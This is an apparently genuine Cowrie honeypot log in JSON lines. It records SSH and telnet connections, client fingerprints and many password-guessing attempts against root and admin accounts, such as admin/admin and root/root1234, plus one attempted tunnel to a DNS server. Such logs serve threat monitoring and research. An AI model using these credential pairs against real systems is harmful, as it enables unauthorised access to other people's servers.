{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:49.677888Z","src_ip":"87.251.64.176","session":"97ed7e0f90d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:49.776731Z","session":"97ed7e0f90d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:49.873478Z","src_ip":"87.251.64.176","session":"97ed7e0f90d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:49.970379Z","src_ip":"87.251.64.176","session":"97ed7e0f90d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":41746,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ccc66e5700","protocol":"ssh","message":"New connection: 153.80.249.112:41746 (10.17.0.5:22) [session: 32ccc66e5700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:52:21.041551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:52:21.047018Z","src_ip":"153.80.249.112","session":"32ccc66e5700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:52:21.130995Z","src_ip":"153.80.249.112","session":"32ccc66e5700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ww123456.","message":"login attempt [root/ww123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:52:21.496891Z","src_ip":"153.80.249.112","session":"32ccc66e5700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:52:22.585176Z","src_ip":"153.80.249.112","session":"32ccc66e5700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01560688018799,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:52:50.223061Z","src_ip":"37.216.252.19","session":"366d91d3caa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":41340,"dst_ip":"159.203.135.109","dst_port":23,"session":"b93d7085d03f","protocol":"telnet","message":"New connection: 165.22.57.101:41340 (159.203.135.109:23) [session: b93d7085d03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:19.170495Z"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.60.105","src_port":47906,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a9ff92ea76","protocol":"ssh","message":"New connection: 218.78.60.105:47906 (10.17.0.5:22) [session: 40a9ff92ea76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:24.734627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:24.739753Z","src_ip":"218.78.60.105","session":"40a9ff92ea76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:24.981201Z","src_ip":"218.78.60.105","session":"40a9ff92ea76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.216.252.19","src_port":6753,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c6d957d1ef","protocol":"telnet","message":"New connection: 37.216.252.19:6753 (10.17.0.5:23) [session: a5c6d957d1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:28.452916Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":42974,"dst_ip":"159.203.135.109","dst_port":22,"session":"6153afb967c7","protocol":"ssh","message":"New connection: 94.159.98.239:42974 (159.203.135.109:22) [session: 6153afb967c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:32.713415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:32.791150Z","src_ip":"94.159.98.239","session":"6153afb967c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:32.891937Z","src_ip":"94.159.98.239","session":"6153afb967c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhjkmrf","message":"login attempt [root/gfhjkmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:33.507263Z","src_ip":"94.159.98.239","session":"6153afb967c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:34.656034Z","src_ip":"94.159.98.239","session":"6153afb967c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":33518,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3e68a9f488c","protocol":"ssh","message":"New connection: 153.80.249.112:33518 (10.17.0.5:22) [session: e3e68a9f488c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:34.798526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:34.803604Z","src_ip":"153.80.249.112","session":"e3e68a9f488c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:34.891187Z","src_ip":"153.80.249.112","session":"e3e68a9f488c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"123456","message":"login attempt [teste/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:35.255959Z","src_ip":"153.80.249.112","session":"e3e68a9f488c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:36.341532Z","src_ip":"153.80.249.112","session":"e3e68a9f488c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca76a5c0f5f6","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: ca76a5c0f5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:55.127518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:55.133224Z","src_ip":"23.97.62.150","session":"ca76a5c0f5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:55.369433Z","src_ip":"23.97.62.150","session":"ca76a5c0f5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:56.081699Z","src_ip":"23.97.62.150","session":"ca76a5c0f5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":50838,"dst_ip":"159.203.135.109","dst_port":23,"session":"2560df3a97e1","protocol":"telnet","message":"New connection: 165.22.57.101:50838 (159.203.135.109:23) [session: 2560df3a97e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:56.690756Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:53:57.319489Z","src_ip":"23.97.62.150","session":"ca76a5c0f5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":43208,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebac9200a8dd","protocol":"ssh","message":"New connection: 193.37.70.224:43208 (10.17.0.5:22) [session: ebac9200a8dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:16.171203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:16.176419Z","src_ip":"193.37.70.224","session":"ebac9200a8dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:16.267127Z","src_ip":"193.37.70.224","session":"ebac9200a8dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goodboy","message":"login attempt [root/goodboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:16.537799Z","src_ip":"193.37.70.224","session":"ebac9200a8dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:17.630947Z","src_ip":"193.37.70.224","session":"ebac9200a8dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.60.105","src_port":57712,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6d34af9e28b","protocol":"ssh","message":"New connection: 218.78.60.105:57712 (10.17.0.5:22) [session: f6d34af9e28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:19.457798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:19.461837Z","src_ip":"218.78.60.105","session":"f6d34af9e28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:19.688792Z","src_ip":"218.78.60.105","session":"f6d34af9e28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq1314520","message":"login attempt [root/Qq1314520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:20.631450Z","src_ip":"218.78.60.105","session":"f6d34af9e28b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50178,"dst_ip":"159.203.135.109","dst_port":22,"session":"19ebb1d2ef99","protocol":"ssh","message":"New connection: 147.45.199.80:50178 (159.203.135.109:22) [session: 19ebb1d2ef99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:28.276170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:28.281180Z","src_ip":"147.45.199.80","session":"19ebb1d2ef99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:28.371392Z","src_ip":"147.45.199.80","session":"19ebb1d2ef99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrew123","message":"login attempt [root/andrew123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:28.640874Z","src_ip":"147.45.199.80","session":"19ebb1d2ef99","protocol":"ssh"}
